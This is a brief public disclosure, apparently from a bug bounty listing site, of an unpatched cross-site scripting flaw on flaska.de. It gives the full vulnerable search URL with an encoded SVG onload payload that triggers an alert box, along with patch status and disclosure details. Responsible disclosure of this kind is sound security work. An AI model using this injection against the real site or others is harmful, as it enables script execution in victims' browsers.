flaska.de XSS vulnerability

Vulnerable URL: https://www.flaska.de/iskanje?spzp=string=%22%3E%3Csvg%2Fonload%3Dalert%2FOPENBUGBOUNTY%2F%3E=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 28.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3634331 VIP website...